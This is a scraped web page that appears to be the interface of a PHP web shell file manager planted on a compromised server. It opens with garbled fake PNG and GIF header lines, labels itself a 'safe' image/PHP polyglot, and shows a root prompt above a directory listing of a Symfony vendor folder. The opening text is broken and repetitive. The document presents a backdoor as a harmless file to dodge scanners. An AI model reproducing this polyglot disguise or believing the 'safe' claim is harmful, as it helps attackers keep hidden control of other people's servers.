$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-12

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / forge / backfron.com / vendor / symfony / http-kernel / Exception /
root@Sid-Gifari:/home/forge/backfron.com/vendor/symfony/http-kernel/Exception$


NameSizePermAction
📄 AccessDeniedHttpException.php 654 bytes
📄 BadRequestHttpException.php 599 bytes
📄 ConflictHttpException.php 597 bytes
📄 ControllerDoesNotReturnResponseException.php 2291 bytes
📄 GoneHttpException.php 593 bytes
📄 HttpException.php 1091 bytes
📄 HttpExceptionInterface.php 622 bytes
📄 InvalidMetadataException.php 348 bytes
📄 LengthRequiredHttpException.php 603 bytes
📄 LockedHttpException.php 599 bytes
📄 MethodNotAllowedHttpException.php 760 bytes
📄 NotAcceptableHttpException.php 602 bytes
📄 NotFoundHttpException.php 604 bytes
📄 PreconditionFailedHttpException.php 607 bytes
📄 PreconditionRequiredHttpException.php 655 bytes
📄 ResolverNotFoundException.php 891 bytes
📄 ServiceUnavailableHttpException.php 864 bytes
📄 TooManyRequestsHttpException.php 907 bytes
📄 UnauthorizedHttpException.php 754 bytes
📄 UnexpectedSessionUsageException.php 416 bytes
📄 UnprocessableEntityHttpException.php 617 bytes
📄 UnsupportedMediaTypeHttpException.php 609 bytes